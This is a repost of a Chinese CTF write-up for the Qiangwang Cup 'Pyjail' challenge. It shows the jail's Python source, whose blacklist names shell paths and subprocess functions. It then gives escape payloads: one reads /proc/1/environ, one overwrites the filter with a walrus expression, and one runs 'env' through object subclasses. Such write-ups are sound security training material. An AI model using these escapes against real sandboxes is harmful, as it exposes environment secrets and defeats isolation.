【靶场合集】CTF-第七届强网杯全国网络安全挑战赛:Pyjail ! It's myFILTER !!!

admin 2023年12月22日10:55:14评论41 views字数 2125阅读7分5秒阅读模式
声明:请勿将文章内的相关技术用于非法目的,如有相关非法行为与文章作者和本公众号无关。请遵守《中华人民共和国网络安全法》。

0X01 题目
Python Version:python3.10Source Code:

import code, os, subprocessimport ptydef blacklist_fun_callback(*args):    print("Player! It's already banned!")

pty.spawn = blacklist_fun_callbackos.system = blacklist_fun_callbackos.popen = blacklist_fun_callbacksubprocess.Popen = blacklist_fun_callbacksubprocess.call = blacklist_fun_callbackcode.interact = blacklist_fun_callbackcode.compile_command = blacklist_fun_callback

vars = blacklist_fun_callbackattr = blacklist_fun_callbackdir = blacklist_fun_callbackgetattr = blacklist_fun_callbackexec = blacklist_fun_callback__import__ = blacklist_fun_callbackcompile = blacklist_fun_callbackbreakpoint = blacklist_fun_callback

del os, subprocess, code, pty, blacklist_fun_callbackinput_code = input("Can u input your code to escape > ")

blacklist_words = [    "subprocess",    "os",    "code",    "interact",    "pty",    "pdb",    "platform",    "importlib",    "timeit",    "imp",     "commands",    "popen",    "load_module",    "spawn",    "system",    "/bin/sh",    "/bin/bash",    "flag",    "eval",    "exec",    "compile",    "input",    "vars",    "attr",    "dir",    "getattr"    "__import__",    "__builtins__",    "__getattribute__",    "__class__",    "__base__",    "__subclasses__",    "__getitem__",    "__self__",    "__globals__",    "__init__",    "__name__",    "__dict__",    "._module",    "builtins",    "breakpoint",    "import",]

def my_filter(input_code):    for x in blacklist_words:        if x in input_code:            return False    return True

while '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65:    input_code = eval(f"f'{input_code}'")else:    print("Player! Please obey the filter rules which I set!")
【靶场合集】CTF-第七届强网杯全国网络安全挑战赛:Pyjail ! It's myFILTER !!!
0X02 解题思路
'{' in input_code and '}' in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65

输入的内容需要包含{},不能存在my_filter内的内容,长度还需小于65。

解题思路一:
flag值放在环境变量内/proc/[pid]/environ,可直接通过open函数打开。
{print(open("/proc/1/environ").read())}
【靶场合集】CTF-第七届强网杯全国网络安全挑战赛:Pyjail ! It's myFILTER !!!
解题思路二:

使用海象表达式替换掉my_filter函数,input函数绕过长度限制。

{(my_filter:=str,1)[1]}{{inpu{chr(116)}()}}

获取所有子类:{print([].__class__.__base__.__subclasses__())}

【靶场合集】CTF-第七届强网杯全国网络安全挑战赛:Pyjail ! It's myFILTER !!!

{(my_filter:=len,len:=any,1)[2]}{{{chr(105)}nput()}}

使用popen执行env命令:{print([].__class__.__base__.__subclasses__()[-1]("env"))}
【靶场合集】CTF-第七届强网杯全国网络安全挑战赛:Pyjail ! It's myFILTER !!!

原文始发于微信公众号(皓月的笔记本):【靶场合集】CTF-第七届强网杯全国网络安全挑战赛:Pyjail ! It's myFILTER !!!

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月22日10:55:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【靶场合集】CTF-第七届强网杯全国网络安全挑战赛:Pyjail ! It's myFILTER !!!https://cn-sec.com/archives/2326573.html

发表评论

匿名网友 填写信息